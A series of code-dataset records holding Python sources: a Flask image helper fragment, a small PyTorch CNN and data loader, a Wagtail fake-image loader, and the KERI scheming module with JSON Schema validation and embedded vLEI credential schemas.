None:\n image.save(novo_nome)\n else:\n image.save(filepath, quality=100)\n image.close()\n return True\n \n\n\n\n\n\n \n\n\n\n\n", "sub_path": "flask/modelo.py", "file_name": "modelo.py", "file_ext": "py", "file_size_in_byte": 37543, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "flask.session", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 27, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 29, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 29, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 45, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 46, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 50, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 60, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 119, "usage_type": "call"}, {"api_name": "pymssql.connect", "line_number": 121, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 236, "usage_type": "call"}, {"api_name": "pymssql.connect", "line_number": 238, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 250, "usage_type": "call"}, {"api_name": "config.mongo_acesso", "line_number": 250, "usage_type": "attribute"}, {"api_name": "config.mongo_acesso", "line_number": 251, "usage_type": "attribute"}, {"api_name": "config.mongo_acesso", "line_number": 252, "usage_type": "attribute"}, {"api_name": "config.mongo_acesso", "line_number": 253, "usage_type": "attribute"}, {"api_name": "pymysql.connect", "line_number": 280, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 303, "usage_type": "call"}, {"api_name": "pymysql.connect", "line_number": 322, "usage_type": "call"}, {"api_name": "flask.session", "line_number": 362, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 363, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 364, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 414, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 418, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 422, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 426, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 445, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 504, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 505, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 511, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 517, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 521, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 525, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 529, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 540, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 546, "usage_type": "name"}, {"api_name": "flask.session", "line_number": 550, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 717, "usage_type": "call"}, {"api_name": "json.decoder", "line_number": 718, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 730, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 738, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 754, "usage_type": "call"}, {"api_name": "json.decoder", "line_number": 755, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 762, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 772, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 773, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 785, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 785, "usage_type": "name"}, {"api_name": "PIL.ExifTags.TAGS.keys", "line_number": 787, "usage_type": "call"}, {"api_name": "PIL.ExifTags.TAGS", "line_number": 787, "usage_type": "attribute"}, {"api_name": "PIL.ExifTags", "line_number": 787, "usage_type": "name"}, {"api_name": "PIL.ExifTags.TAGS", "line_number": 788, "usage_type": "attribute"}, {"api_name": "PIL.ExifTags", "line_number": 788, "usage_type": "name"}, {"api_name": "PIL.Image.ROTATE_180", "line_number": 796, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 796, "usage_type": "name"}, {"api_name": "PIL.Image.ROTATE_270", "line_number": 798, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 798, "usage_type": "name"}, {"api_name": "PIL.Image.ROTATE_90", "line_number": 800, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 800, "usage_type": "name"}, {"api_name": "PIL.Image.ANTIALIAS", "line_number": 804, "usage_type": "attribute"}, {"api_name": "PIL.Image", "line_number": 804, "usage_type": "name"}]} +{"seq_id": "191852549", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 2 21:51:05 2019\n\n@author: vaish\n\"\"\"\nimport torch\nimport os\nfrom skimage import io, transform\nimport numpy as np\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\nimport torch.nn as nn\n\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(1, 32, 3, 1)\n self.conv2 = nn.Conv2d(32, 64, 3, 1)\n self.dropout1 = nn.Dropout2d(0.25)\n self.dropout2 = nn.Dropout2d(0.5)\n self.fc1 = nn.Linear(9216, 128)\n self.fc2 = nn.Linear(128, 10)\n \n def forward(self, x):\n x = self.conv1(x)\n x = F.relu(x)\n x = self.conv2(x)\n x = F.max_pool2d(x, 2)\n x = self.dropout1(x)\n x = torch.flatten(x, 1)\n x = self.fc1(x)\n x = F.relu(x)\n x = self.dropout2(x)\n x = self.fc2(x)\n output = F.log_softmax(x, dim=1)\n return output\n\nclass getData(Dataset):\n def __init__(self, data, transform=None):\n\n self.data = data[0]\n self.target = data[1]\n self.transform = transform\n print(self.data.shape)\n print(self.target.shape)\n def __len__(self):\n return len(self.target)\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n \n data = self.data[:,:,idx]\n target = self.target[idx]\n #print(data.shape)\n #print(target)\n sample = {'data': data, 'target': target}\n\n if self.transform:\n sample['data'] = self.transform(sample['data'])\n return sample\n\n\ndef CNN_1(data,trainSet):\n transformed_dataset = getData(data=(data['x'][:,:,data['set']==trainSet], data['y'][data['set']==trainSet]),\n transform=transforms.Compose([\n transforms.ToTensor()\n ]))\n \n dataloader = DataLoader(transformed_dataset, batch_size=64,\n shuffle=True)\n \n for i_batch, sample_batched in enumerate(dataloader):\n print(i_batch, sample_batched['data'].size(),\n sample_batched['target'].size())\n model = Net()", "sub_path": "code/untitled2.py", "file_name": "untitled2.py", "file_ext": "py", "file_size_in_byte": 2274, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 18, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.Dropout2d", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Dropout2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 22, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.flatten", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.utils.data.Dataset", "line_number": 39, "usage_type": "name"}, {"api_name": "skimage.transform", "line_number": 44, "usage_type": "name"}, {"api_name": "torch.is_tensor", "line_number": 51, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 67, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 67, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 68, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 71, "usage_type": "call"}]} +{"seq_id": "584516343", "text": "import os\nimport logging\n\nfrom django.conf import settings\nfrom django.core.files import File\n\nfrom wagtail.images import get_image_model\n\nlogger = logging.getLogger(\"fake users:\")\nImage = get_image_model()\n\ndef create_dir_if_not_exists(directory):\n if not os.path.exists(directory):\n os.mkdir(directory)\n\ncreate_dir_if_not_exists(settings.MEDIA_ROOT)\ncreate_dir_if_not_exists(settings.DOWNLOADS_ROOT)\ncreate_dir_if_not_exists(settings.IMAGE_DOWNLOADS_DIR)\ncreate_dir_if_not_exists(settings.AVATAR_DOWNLOADS_DIR)\n\ndef create_wagtail_image(filename):\n filepath = os.path.join(settings.IMAGE_DOWNLOADS_DIR, filename)\n with open(filepath, \"rb\") as file:\n image_file = File(file)\n return Image.objects.create(file=image_file, title=filename)\n\n\ndef create_wagtail_images():\n images = []\n files = os.listdir(settings.IMAGE_DOWNLOADS_DIR)\n for file in files:\n images.append(create_wagtail_image(file))\n logger.info(\n f'Successfully created image: {file}'\n )\n return images\n", "sub_path": "backend/part-5/engineerx/images/modules/fakedata.py", "file_name": "fakedata.py", "file_ext": "py", "file_size_in_byte": 1040, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "wagtail.images.get_image_model", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 14, "usage_type": "call"}, {"api_name": "django.conf.settings.MEDIA_ROOT", "line_number": 16, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 16, "usage_type": "name"}, {"api_name": "django.conf.settings.DOWNLOADS_ROOT", "line_number": 17, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 17, "usage_type": "name"}, {"api_name": "django.conf.settings.IMAGE_DOWNLOADS_DIR", "line_number": 18, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 18, "usage_type": "name"}, {"api_name": "django.conf.settings.AVATAR_DOWNLOADS_DIR", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 19, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.conf.settings.IMAGE_DOWNLOADS_DIR", "line_number": 22, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 22, "usage_type": "name"}, {"api_name": "django.core.files.File", "line_number": 24, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 30, "usage_type": "call"}, {"api_name": "django.conf.settings.IMAGE_DOWNLOADS_DIR", "line_number": 30, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 30, "usage_type": "name"}]} +{"seq_id": "339633062", "text": "# -*- encoding: utf-8 -*-\n\"\"\"\nkeri.core.scheming module\n\nself-addressing and schema support\n\"\"\"\n\nimport json\n\nimport cbor2 as cbor\nimport jsonschema\nimport msgpack\n\nfrom . import coring\nfrom .coring import MtrDex, Serials, Saider, Ids\nfrom .. import help\nfrom ..kering import ValidationError, DeserializationError\n\nlogger = help.ogler.getLogger()\n\n\nclass CacheResolver:\n \"\"\"\n Sample jsonschema resolver for loading schema $ref references from a local hash.\n\n \"\"\"\n\n def __init__(self, cache=None):\n \"\"\"\n Create a jsonschema resolver that can be used for loading references to schema remotely.\n\n Parameters:\n cache (dict) is an optional pre-loaded cache of schema\n \"\"\"\n self.cache = cache if cache is not None else dict()\n\n def add(self, key, schema):\n \"\"\"\n Add schema to cache for resolution\n\n Parameters:\n key (str) URI to resolve to the schema\n schema (bytes) is bytes of the schema for the URI\n \"\"\"\n self.cache[key] = schema\n\n def resolve(self, uri):\n if uri not in self.cache:\n return None\n\n ref = self.cache[uri]\n return ref\n\n def handler(self, uri):\n \"\"\"\n Handler provided to jsonschema for cache resolution\n\n Parameters:\n uri (str) the URI to resolve\n \"\"\"\n ref = self.resolve(uri)\n if not ref:\n return None\n\n schemr = Schemer(raw=ref)\n return schemr.sed\n\n def resolver(self, scer=b''):\n \"\"\"\n Returns a jsonschema resolver for returning locally cached schema based on self-addressing\n identifier URIs.\n\n Parameters:\n scer (bytes) is the source document that is being processed for reference resolution\n\n \"\"\"\n return jsonschema.RefResolver(\"\", scer, handlers={\"did\": self.handler})\n\n\njsonSchemaCache = CacheResolver(cache={\n \"EFBMQwQ1fv_bEBpqrom0EHLytFZiP5tWAs5HUpaa-WUg\": b'{\"$id\":\"EFBMQwQ1fv_bEBpqrom0EHLytFZiP5tWAs5HUpaa-WUg\",'\n b'\"$schema\":\"http://json-schema.org/draft-07/schema#\",'\n b'\"title\":\"Legal Entity Official Organizational Role vLEI '\n b'Credential\",\"description\":\"A vLEI Role Credential issued by a '\n b'Qualified vLEI issuer to official representatives of a Legal '\n b'Entity\",\"properties\":{\"v\":{\"type\":\"string\"},'\n b'\"d\":{\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"s\":{\"description\":\"schema SAID\",\"type\":\"string\"},'\n b'\"a\":{\"description\":\"data block\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"dt\":{\"description\":\"issuance date time\",\"format\":\"date-time\",'\n b'\"type\":\"string\"},\"ri\":{\"description\":\"credential status '\n b'registry\",\"type\":\"string\"},\"LEI\":{\"type\":\"string\"},'\n b'\"personLegalName\":{\"type\":\"string\"},\"officialRole\":{'\n b'\"type\":\"string\"},\"t\":{\"contains\":{'\n b'\"const\":\"LegalEntityOfficialOrganizationalRolevLEICredential\"},'\n b'\"type\":\"array\"}},\"additionalProperties\":false,\"required\":[\"i\",'\n b'\"dt\",\"ri\",\"LEI\",\"personLegalName\",\"officialRole\",\"t\"],'\n b'\"type\":\"object\"},\"p\":{\"contains\":{\"type\":\"object\"},'\n b'\"description\":\"source block\",\"items\":{\"properties\":{'\n b'\"legalEntityvLEICredential\":{\"description\":\"chain to issuer '\n b'credential\",\"properties\":{\"d\":{\"type\":\"string\"},'\n b'\"i\":{\"type\":\"string\"}},\"additionalProperties\":false,'\n b'\"type\":\"object\"}},\"additionalProperties\":false,\"required\":['\n b'\"legalEntityvLEICredential\"],\"type\":\"object\"},\"maxItems\":1,'\n b'\"minItems\":1,\"type\":\"array\"}},\"additionalProperties\":false,'\n b'\"required\":[\"i\",\"s\",\"d\"],\"type\":\"object\"}',\n \"EC9rQ-xi_3cRrjANStL6tn6Kn4Z444r9rvTr_Vfi-750\": b'{\"$id\":\"EC9rQ-xi_3cRrjANStL6tn6Kn4Z444r9rvTr_Vfi-750\",'\n b'\"$schema\":\"http://json-schema.org/draft-07/schema#\",'\n b'\"title\":\"Legal Entity vLEI Credential\",\"description\":\"A vLEI '\n b'Credential issued by a Qualified vLEI issuer to a Legal '\n b'Entity\",\"properties\":{\"v\":{\"type\":\"string\"},'\n b'\"d\":{\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"s\":{\"description\":\"schema SAID\",\"type\":\"string\"},'\n b'\"a\":{\"description\":\"data block\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"dt\":{\"description\":\"issuance date time\",\"format\":\"date-time\",'\n b'\"type\":\"string\"},\"ri\":{\"description\":\"credential status '\n b'registry\",\"type\":\"string\"},\"LEI\":{\"type\":\"string\"},'\n b'\"t\":{\"contains\":{\"const\":\"LegalEntityvLEICredential\"},'\n b'\"type\":\"array\"}},\"additionalProperties\":false,\"required\":[\"i\",'\n b'\"dt\",\"ri\",\"LEI\",\"t\"],\"type\":\"object\"},\"p\":{\"contains\":{'\n b'\"type\":\"object\"},\"description\":\"source block\",'\n b'\"items\":{\"properties\":{\"qualifiedvLEIIssuervLEICredential\":{'\n b'\"description\":\"chain to issuer credential\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"}},'\n b'\"additionalProperties\":false,\"type\":\"object\"}},'\n b'\"additionalProperties\":false,\"required\":['\n b'\"qualifiedvLEIIssuervLEICredential\"],\"type\":\"object\"},'\n b'\"maxItems\":1,\"minItems\":1,\"type\":\"array\"},\"r\":{\"contains\":{'\n b'\"type\":\"object\"},\"description\":\"rules block\",\"type\":\"array\"}},'\n b'\"additionalProperties\":false,\"required\":[\"i\",\"s\",\"d\"],'\n b'\"type\":\"object\"}',\n \"EMNumLS-O9ScGskk8h4xHvoiAeQf-CDW6KU3LoDUiz3o\": b'{\"$id\":\"EMNumLS-O9ScGskk8h4xHvoiAeQf-CDW6KU3LoDUiz3o\",'\n b'\"$schema\":\"http://json-schema.org/draft-07/schema#\",'\n b'\"title\":\"Legal Entity Engagement Context Role vLEI Credential\",'\n b'\"description\":\"A vLEI Role Credential issued to representatives '\n b'of a Legal Entity in other than official roles but in '\n b'functional or other context of engagement\",\"properties\":{\"v\":{'\n b'\"type\":\"string\"},\"d\":{\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"s\":{\"description\":\"schema SAID\",\"type\":\"string\"},'\n b'\"a\":{\"description\":\"data block\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"dt\":{\"description\":\"issuance date time\",\"format\":\"date-time\",'\n b'\"type\":\"string\"},\"ri\":{\"description\":\"credential status '\n b'registry\",\"type\":\"string\"},\"LEI\":{\"type\":\"string\"},'\n b'\"personLegalName\":{\"type\":\"string\"},\"engagementContextRole\":{'\n b'\"type\":\"string\"},\"t\":{\"contains\":{'\n b'\"const\":\"LegalEntityEngagementContextRolevLEICredential\"},'\n b'\"type\":\"array\"}},\"additionalProperties\":false,\"required\":[\"i\",'\n b'\"dt\",\"ri\",\"LEI\",\"personLegalName\",\"engagementContextRole\",\"t\"],'\n b'\"type\":\"object\"},\"p\":{\"contains\":{\"type\":\"object\"},'\n b'\"description\":\"source block\",\"items\":{\"properties\":{'\n b'\"legalEntityvLEICredential\":{\"description\":\"chain to issuer '\n b'credential\",\"properties\":{\"d\":{\"type\":\"string\"},'\n b'\"i\":{\"type\":\"string\"}},\"additionalProperties\":false,'\n b'\"type\":\"object\"}},\"additionalProperties\":false,\"required\":['\n b'\"legalEntityvLEICredential\"],\"type\":\"object\"},\"maxItems\":1,'\n b'\"minItems\":1,\"type\":\"array\"}},\"additionalProperties\":false,'\n b'\"required\":[\"i\",\"s\",\"d\"],\"type\":\"object\"}',\n \"ES63gXI-FmM6yQ7ISVIH__hOEhyE6W6-Ev0cArldsxuc\": b'{\"$id\":\"ES63gXI-FmM6yQ7ISVIH__hOEhyE6W6-Ev0cArldsxuc\",'\n b'\"$schema\":\"http://json-schema.org/draft-07/schema#\",'\n b'\"title\":\"GLEIF vLEI Credential\",\"description\":\"The vLEI '\n b'Credential issued to GLEIF\",\"type\":\"object\",\"properties\":{\"v\":{'\n b'\"type\":\"string\"},\"d\":{\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"s\":{\"description\":\"schema SAID\",\"type\":\"string\"},'\n b'\"a\":{\"description\":\"data block\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"dt\":{\"description\":\"issuance date time\",\"format\":\"date-time\",'\n b'\"type\":\"string\"},\"ri\":{\"description\":\"credential status '\n b'registry\",\"type\":\"string\"},\"LEI\":{\"type\":\"string\"},'\n b'\"t\":{\"contains\":{\"const\":\"GLEIFvLEICredential\"},'\n b'\"type\":\"array\"}},\"additionalProperties\":false,\"required\":[\"d\",'\n b'\"dt\",\"ri\",\"LEI\",\"t\"],\"type\":\"object\"},\"p\":{\"maxItems\":0,'\n b'\"minItems\":0,\"type\":\"array\"}},\"additionalProperties\":false,'\n b'\"required\":[\"d\",\"i\"]}',\n \"E-_XCbf1LJ0v9CR7g-_gOknf5dpoZROgF7qG5T8mXCv8\": b'{\"$id\":\"E-_XCbf1LJ0v9CR7g-_gOknf5dpoZROgF7qG5T8mXCv8\",'\n b'\"$schema\":\"http://json-schema.org/draft-07/schema#\",'\n b'\"title\":\"Qualified vLEI Issuer Credential\",\"description\":\"A '\n b'vLEI Credential issued by GLEIF to Qualified vLEI Issuers which '\n b'allows the Qualified vLEI Issuers to issue, verify and revoke '\n b'Legal Entity vLEI Credentials and Legal Entity Official '\n b'Organizational Role vLEI Credentials\",\"properties\":{\"v\":{'\n b'\"type\":\"string\"},\"d\":{\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"s\":{\"description\":\"schema SAID\",\"type\":\"string\"},'\n b'\"a\":{\"description\":\"data block\",\"properties\":{\"d\":{'\n b'\"type\":\"string\"},\"i\":{\"type\":\"string\"},'\n b'\"dt\":{\"description\":\"issuance date time\",\"format\":\"date-time\",'\n b'\"type\":\"string\"},\"ri\":{\"description\":\"credential status '\n b'registry\",\"type\":\"string\"},\"LEI\":{\"type\":\"string\"},'\n b'\"gracePeriod\":{\"default\":90,\"type\":\"integer\"},\"t\":{\"contains\":{'\n b'\"const\":\"QualifiedvLEIIssuervLEICredential\"},\"type\":\"array\"}},'\n b'\"additionalProperties\":false,\"required\":[\"i\",\"dt\",\"ri\",\"LEI\",'\n b'\"t\"],\"type\":\"object\"},\"p\":{\"maxItems\":0,\"minItems\":0,'\n b'\"type\":\"array\"}},\"additionalProperties\":false,\"required\":[\"i\",'\n b'\"d\"],\"type\":\"object\"}',\n})\n\n\nclass JSONSchema:\n \"\"\"\n JSON Schema support class\n \"\"\"\n id_ = Ids.dollar # ID Field Label\n\n def __init__(self, resolver=CacheResolver()):\n self.resolver = resolver\n\n def resolve(self, uri):\n return self.resolver.resolve(uri)\n\n def load(self, raw=b'', kind=Serials.json):\n if kind == Serials.json:\n try:\n sed = json.loads(raw.decode(\"utf-8\"))\n except Exception as ex:\n raise DeserializationError(\"Error deserializing JSON: {} {}\"\n \"\".format(raw.decode(\"utf-8\"), ex))\n\n elif kind == Serials.mgpk:\n try:\n sed = msgpack.loads(raw)\n except Exception as ex:\n raise DeserializationError(\"Error deserializing MGPK: {} {}\"\n \"\".format(raw, ex))\n\n elif kind == Serials.cbor:\n try:\n sed = cbor.loads(raw)\n except Exception as ex:\n raise DeserializationError(\"Error deserializing CBOR: {} {}\"\n \"\".format(raw, ex))\n else:\n raise ValueError(\"Invalid serialization kind = {}\".format(kind))\n\n if self.id_ in sed:\n saider = Saider(qb64=sed[self.id_], label=self.id_)\n said = sed[self.id_]\n if not saider.verify(sed, prefixed=True, kind=kind, label=self.id_):\n raise ValidationError(\"invalid self-addressing identifier {} instead of {} in schema = {}\"\n \"\".format(said, saider.qb64, sed))\n else:\n raise ValidationError(\"missing ID field {} in schema = {}\"\n \"\".format(self.id_, sed))\n\n return sed, kind, saider\n\n @staticmethod\n def dump(sed, kind=Serials.json):\n raw = coring.dumps(sed, kind)\n return raw\n\n @staticmethod\n def detect(raw=b''):\n \"\"\"\n Returns True if content represents JSON Schema by checking\n for $schema; False otherwise\n \"\"\"\n\n try:\n raw.index(b'\"$schema\"')\n except ValueError:\n return False\n\n return True\n\n @staticmethod\n def verify_schema(schema):\n \"\"\"\n Returns True if the provided schema validates successfully\n as complaint Draft 7 JSON Schema False otherwise\n\n Parameters:\n schema (dict): is the JSON schema to verify\n \"\"\"\n try:\n jsonschema.Draft7Validator.check_schema(schema=schema)\n except jsonschema.exceptions.SchemaError:\n return False\n\n return True\n\n def verify_json(self, schema=b'', raw=b''):\n \"\"\"\n Returns True if the JSON passes validation against the\n provided complaint Draft 7 JSON Schema. Returns False\n if raw is not valid JSON, schema is not valid JSON Schema or\n the validation fails\n\n Parameters:\n schema (bytes): is the schema use for validation\n raw (bytes): is JSON to validate against the Schema\n \"\"\"\n try:\n d = json.loads(raw)\n jsonschema.validate(instance=d, schema=schema, resolver=self.resolver.resolver(scer=raw))\n except jsonschema.exceptions.ValidationError as ex:\n logger.error(f'jsonschema.exceptions.ValidationError {ex}')\n return False\n except jsonschema.exceptions.SchemaError as ex:\n logger.error(f'jsonschema.exceptions.SchemaError {ex}')\n return False\n except json.decoder.JSONDecodeError as ex:\n logger.error(f'json.decoder.JSONDecodeError {ex}')\n return False\n except Exception:\n return False\n\n return True\n\n\nclass Schemer:\n \"\"\"\n Schemer is KERI schema serializer-deserializer class\n Verifies self-addressing identifier base on schema type\n Only supports current version VERSION\n\n Has the following public properties:\n\n Properties:\n .raw is bytes of serialized event only\n .sed is JSON schema dict\n .kind is Schema kind string value (see namedtuple coring.Serials)\n .saider is Saider instance of self-addressing identifier\n .said is qb64 digest from .saider\n\n Hidden Attributes:\n ._raw is bytes of serialized schema only\n ._sed is JSON schema dict\n ._kind is schema kind string value (see namedtuple coring.Serials)\n supported kinds are 'JSONSchema'\n ._code is default code for .saider\n ._saider is Saider instance of digest of .raw\n\n\n \"\"\"\n\n def __init__(self, raw=b'', sed=None, kind=None, typ=JSONSchema(), code=MtrDex.Blake3_256):\n \"\"\"\n Deserialize if raw provided\n Serialize if sed provided but not raw\n When serilaizing if kind provided then use kind instead of field in sed\n\n Parameters:\n raw is bytes of serialized schema\n sed is JSON dict or None\n if None its deserialized from raw\n schemaType is the type of schema\n kind is serialization kind string value or None (see namedtuple coring.Serials)\n supported kinds are 'json', 'cbor', 'msgpack', 'binary'\n if kind is None then its extracted from ked or raw\n code is .saider default digest code\n\n \"\"\"\n\n self._code = code\n if raw:\n self.raw = raw\n elif sed:\n self.typ = typ\n self._kind = kind\n self.sed = sed\n else:\n raise ValueError(\"Improper initialization need raw or sed.\")\n\n if not self._verify_schema():\n raise ValidationError(\"invalid kind {} for schema {}\"\n \"\".format(self.kind, self.sed))\n\n def _inhale(self, raw):\n \"\"\"\n Loads type specific Schema ked and verifies the self-addressing identifier\n of the raw content\n\n Parameters:\n raw: JSON to load\n\n \"\"\"\n self.typ = self._sniff(raw)\n sed, kind, saider = self.typ.load(raw=raw)\n\n return sed, kind, saider\n\n def _exhale(self, sed, kind=None):\n \"\"\"\n Dumps type specific Schema JSON and returns the raw bytes, sed\n and schema kind\n\n Parameters:\n sed: JSON to load\n kind (Schema) tuple of schema type\n\n \"\"\"\n saider = Saider(sad=sed, code=self._code, label=self.typ.id_)\n sed[self.typ.id_] = saider.qb64\n raw = self.typ.dump(sed)\n\n return raw, sed, kind, saider\n\n @staticmethod\n def _sniff(raw):\n try:\n raw.index(b'\"$schema\"')\n except ValueError:\n pass\n else:\n return JSONSchema()\n\n # Default for now is JSONSchema because we don't support any other\n return JSONSchema()\n\n @property\n def raw(self):\n \"\"\" raw property getter \"\"\"\n return self._raw\n\n @raw.setter\n def raw(self, raw):\n \"\"\" raw property setter \"\"\"\n sed, kind, saider = self._inhale(raw=raw)\n self._raw = bytes(raw) # crypto ops require bytes not bytearray\n self._sed = sed\n self._kind = kind\n self._saider = saider\n\n @property\n def sed(self):\n \"\"\" ked property getter\"\"\"\n return self._sed\n\n @sed.setter\n def sed(self, sed):\n \"\"\" ked property setter assumes ._kind \"\"\"\n raw, sed, kind, saider = self._exhale(sed=sed, kind=self._kind)\n self._raw = raw\n self._kind = kind\n self._sed = sed\n self._saider = saider\n\n @property\n def kind(self):\n \"\"\" kind property getter \"\"\"\n return self._kind\n\n @kind.setter\n def kind(self, kind):\n \"\"\" kind property setter Assumes ._ked \"\"\"\n raw, kind, sed, saider = self._exhale(sed=self._sed, kind=kind)\n self._raw = raw\n self._sed = sed\n self._kind = kind\n self._saider = Saider(raw=self._raw, code=self._code, label=Ids.dollar)\n\n @property\n def saider(self):\n \"\"\" saider property getter \"\"\"\n return self._saider\n\n @property\n def said(self):\n \"\"\" said property getter, relies on saider \"\"\"\n return self.saider.qb64\n\n def verify(self, raw=b''):\n \"\"\"\n Returns True if derivation from ked for .code matches .qb64 and\n If prefixed also verifies ked[\"i\"] matches .qb64\n False otherwise\n\n Parameters:\n raw (bytes): is serialised JSON content to verify against schema\n \"\"\"\n\n return self.typ.verify_json(schema=self.sed, raw=raw)\n\n def _verify_schema(self):\n \"\"\"\n Returns True if derivation from ked for .code matches .qb64 and\n If prefixed also verifies ked[\"i\"] matches .qb64\n False otherwise\n\n \"\"\"\n\n return self.typ.verify_schema(schema=self.sed)\n", "sub_path": "src/keri/core/scheming.py", "file_name": "scheming.py", "file_ext": "py", "file_size_in_byte": 23519, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "jsonschema.RefResolver", "line_number": 77, "usage_type": "call"}, {"api_name": "coring.Ids.dollar", "line_number": 204, "usage_type": "attribute"}, {"api_name": "coring.Ids", "line_number": 204, "usage_type": "name"}, {"api_name": "coring.Serials.json", "line_number": 212, "usage_type": "attribute"}, {"api_name": "coring.Serials", "line_number": 212, "usage_type": "name"}, {"api_name": "coring.Serials.json", "line_number": 213, "usage_type": "attribute"}, {"api_name": "coring.Serials", "line_number": 213, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 215, "usage_type": "call"}, {"api_name": "kering.DeserializationError", "line_number": 217, "usage_type": "call"}, {"api_name": "coring.Serials.mgpk", "line_number": 220, "usage_type": "attribute"}, {"api_name": "coring.Serials", "line_number": 220, "usage_type": "name"}, {"api_name": "msgpack.loads", "line_number": 222, "usage_type": "call"}, {"api_name": "kering.DeserializationError", "line_number": 224, "usage_type": "call"}, {"api_name": "coring.Serials.cbor", "line_number": 227, "usage_type": "attribute"}, {"api_name": 